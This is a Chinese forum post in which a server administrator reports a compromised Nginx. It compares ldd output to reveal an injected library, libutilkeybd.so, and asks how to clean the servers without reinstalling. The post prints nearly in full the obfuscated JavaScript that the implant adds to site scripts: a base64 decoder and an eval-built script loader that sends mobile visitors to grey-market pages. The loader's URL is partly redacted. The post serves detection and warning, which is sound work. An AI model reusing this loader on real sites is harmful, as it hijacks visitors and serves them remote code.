在终端执行,可能系统不同命令不同
- ldd /www/server/nginx/sbin/nginx
复制代码 如果你的Nginx是正常的,回返回
- linux-vdso.so.1 (0x00007fff05e6b000)
- libjemalloc.so.2 => /usr/local/lib/libjemalloc.so.2 (0x00007f9299c54000)
- libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f9299c1a000)
- libluajit-5.1.so.2 => /usr/local/lib/libluajit-5.1.so.2 (0x00007f9299b8c000)
- libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f9299b70000)
- libxml2.so.2 => /lib/x86_64-linux-gnu/libxml2.so.2 (0x00007f929998e000)
- libgd.so.3 => /lib/x86_64-linux-gnu/libgd.so.3 (0x00007f9299926000)
- libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f92996fb000)
- libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f92994cf000)
- libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f92994af000)
- /lib64/ld-linux-x86-64.so.2 (0x00007f929a4e3000)
- libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f92993c8000)
- libicuuc.so.70 => /lib/x86_64-linux-gnu/libicuuc.so.70 (0x00007f92991cd000)
- liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f92991a2000)
- libpng16.so.16 => /lib/x86_64-linux-gnu/libpng16.so.16 (0x00007f9299165000)
- libfontconfig.so.1 => /lib/x86_64-linux-gnu/libfontconfig.so.1 (0x00007f929911b000)
- libfreetype.so.6 => /lib/x86_64-linux-gnu/libfreetype.so.6 (0x00007f9299053000)
- libjpeg.so.8 => /lib/x86_64-linux-gnu/libjpeg.so.8 (0x00007f9298fd2000)
- libXpm.so.4 => /lib/x86_64-linux-gnu/libXpm.so.4 (0x00007f9298fbd000)
- libtiff.so.5 => /lib/x86_64-linux-gnu/libtiff.so.5 (0x00007f9298f34000)
- libwebp.so.7 => /lib/x86_64-linux-gnu/libwebp.so.7 (0x00007f9298ec5000)
- libicudata.so.70 => /lib/x86_64-linux-gnu/libicudata.so.70 (0x00007f92972a7000)
- libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007f9297276000)
- libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007f929726d000)
- libbrotlidec.so.1 => /lib/x86_64-linux-gnu/libbrotlidec.so.1 (0x00007f929725f000)
- libX11.so.6 => /lib/x86_64-linux-gnu/libX11.so.6 (0x00007f929711d000)
- libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007f929704e000)
- libjbig.so.0 => /lib/x86_64-linux-gnu/libjbig.so.0 (0x00007f929703d000)
- libdeflate.so.0 => /lib/x86_64-linux-gnu/libdeflate.so.0 (0x00007f9297019000)
- libbrotlicommon.so.1 => /lib/x86_64-linux-gnu/libbrotlicommon.so.1 (0x00007f9296ff6000)
- libxcb.so.1 => /lib/x86_64-linux-gnu/libxcb.so.1 (0x00007f9296fca000)
- libXau.so.6 => /lib/x86_64-linux-gnu/libXau.so.6 (0x00007f9296fc4000)
- libXdmcp.so.6 => /lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007f9296fbc000)
- libbsd.so.0 => /lib/x86_64-linux-gnu/libbsd.so.0 (0x00007f9296fa4000)
- libmd.so.0 => /lib/x86_64-linux-gnu/libmd.so.0 (0x00007f9296f97000)
复制代码 经过多台服务器的对比 , 出现我发帖标题情况的,回返回
- linux-vdso.so.1 (0x00007fff25feb000)
- /var/adm/2dbd78ae-b3fd-4d69-9aac-153cb140294d/kernel/libutilkeybd.so (0x00007fcf73e00000)
- libjemalloc.so.2 => /usr/local/lib/libjemalloc.so.2 (0x00007fcf73b79000)
- libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fcf7417d000)
- libluajit-5.1.so.2 => /usr/local/lib/libluajit-5.1.so.2 (0x00007fcf740ef000)
- libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fcf740d3000)
- libxml2.so.2 => /lib/x86_64-linux-gnu/libxml2.so.2 (0x00007fcf73997000)
- libgd.so.3 => /lib/x86_64-linux-gnu/libgd.so.3 (0x00007fcf74069000)
- libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcf7376e000)
- libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fcf74064000)
- libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fcf73542000)
- libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fcf74044000)
- /lib64/ld-linux-x86-64.so.2 (0x00007fcf747b3000)
- libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fcf7345b000)
- libicuuc.so.70 => /lib/x86_64-linux-gnu/libicuuc.so.70 (0x00007fcf73260000)
- liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007fcf74017000)
- libpng16.so.16 => /lib/x86_64-linux-gnu/libpng16.so.16 (0x00007fcf73225000)
- libfontconfig.so.1 => /lib/x86_64-linux-gnu/libfontconfig.so.1 (0x00007fcf731db000)
- libfreetype.so.6 => /lib/x86_64-linux-gnu/libfreetype.so.6 (0x00007fcf73113000)
- libjpeg.so.8 => /lib/x86_64-linux-gnu/libjpeg.so.8 (0x00007fcf73092000)
- libXpm.so.4 => /lib/x86_64-linux-gnu/libXpm.so.4 (0x00007fcf7307d000)
- libtiff.so.5 => /lib/x86_64-linux-gnu/libtiff.so.5 (0x00007fcf72ff4000)
- libwebp.so.7 => /lib/x86_64-linux-gnu/libwebp.so.7 (0x00007fcf72f87000)
- libicudata.so.70 => /lib/x86_64-linux-gnu/libicudata.so.70 (0x00007fcf71369000)
- libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007fcf71338000)
- libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007fcf7132f000)
- libbrotlidec.so.1 => /lib/x86_64-linux-gnu/libbrotlidec.so.1 (0x00007fcf71321000)
- libX11.so.6 => /lib/x86_64-linux-gnu/libX11.so.6 (0x00007fcf711e1000)
- libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007fcf71112000)
- libjbig.so.0 => /lib/x86_64-linux-gnu/libjbig.so.0 (0x00007fcf71101000)
- libdeflate.so.0 => /lib/x86_64-linux-gnu/libdeflate.so.0 (0x00007fcf710dd000)
- libbrotlicommon.so.1 => /lib/x86_64-linux-gnu/libbrotlicommon.so.1 (0x00007fcf710b8000)
- libxcb.so.1 => /lib/x86_64-linux-gnu/libxcb.so.1 (0x00007fcf7108e000)
- libXau.so.6 => /lib/x86_64-linux-gnu/libXau.so.6 (0x00007fcf71088000)
- libXdmcp.so.6 => /lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007fcf71080000)
- libbsd.so.0 => /lib/x86_64-linux-gnu/libbsd.so.0 (0x00007fcf71068000)
- libmd.so.0 => /lib/x86_64-linux-gnu/libmd.so.0 (0x00007fcf71059000)
复制代码 可以看到多了一个
- /var/adm/2dbd78ae-b3fd-4d69-9aac-153cb140294d/kernel/libutilkeybd.so (0x00007fcf73e00000)
复制代码 有可能不在var/adm 也有可能在 etc/adm 在这个文件夹的话大概率是被隐藏起来了 看不到这个的
他会随机在你网站引用的js上面添加这段恶意代码 达到首次手机端访问时跳转灰产
- if (window && !window.hijs) {
- window.hijs = true;
- function xxSJRox(e) {
- var t = ""
- , n = r = c1 = c2 = 0;
- while (n < e.length) {
- r = e.charCodeAt(n);
- if (r < 128) {
- t += String.fromCharCode(r);
- n++
- } else if (r > 191 && r < 224) {
- c2 = e.charCodeAt(n + 1);
- t += String.fromCharCode((r & 31) << 6 | c2 & 63);
- n += 2
- } else {
- c2 = e.charCodeAt(n + 1);
- c3 = e.charCodeAt(n + 2);
- t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
- n += 3
- }
- }
- return t
- }
- function aPnDhiTia(e) {
- var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
- var t = "", n, r, i, s, o, u, a, f = 0;
- e = e.replace(/[^A-Za-z0-9+/=]/g, "");
- while (f < e.length) {
- s = m.indexOf(e.charAt(f++));
- o = m.indexOf(e.charAt(f++));
- u = m.indexOf(e.charAt(f++));
- a = m.indexOf(e.charAt(f++));
- n = s << 2 | o >> 4;
- r = (o & 15) << 4 | u >> 2;
- i = (u & 3) << 6 | a;
- t = t + String.fromCharCode(n);
- if (u != 64) {
- t = t + String.fromCharCode(r)
- }
- if (a != 64) {
- t = t + String.fromCharCode(i)
- }
- }
- return xxSJRox(t)
- }
- eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function() {
- ;(function(u, r, w, d, f, c) {
- var x = aPnDhiTia;
- u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c,'g'), c)));
- 'jQuery';
- k = r[2] + 'c' + f[1];
- 'Flex';
- v = k + f[6];
- var s = d.createElement(v + c[0] + c[1])
- , g = function() {};
- s.type = 'text/javascript';
- {
- s.onload = function() {
- g()
- }
- }
- s.src = u;
- 'CSS';
- d.getElementsByTagName('head')[0].appendChild(s)
- }
- )('aHR0cHM6和谐一段,防止解析出来正确的xpdnIuY29tL25wbS9ib290c3RyYXBANS4zLjAvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3M/dj0zLjcuOC4y', 'FgsPmaNtZ', window, document, 'jrGYBsijJU', 'ptbnNbK')
- }
- ;
- if (!(/^Mac|Win/.test(navigator.platform)))
- MfXKwV();
- }
复制代码
**威胁类型**: Web服务器劫持 + JavaScript注入 + 中间人攻击
不知道能不能通过重装NGINX来解决
反正我是直接备份了数据 直接重装就没有这个库了 至于怎么被篡改的尚未可知 手里的几台物理机全部遭殃 目前重装了一台 等待测试看什么时候再次被篡改
如果你有不通过重装系统的解决办法 欢迎分享
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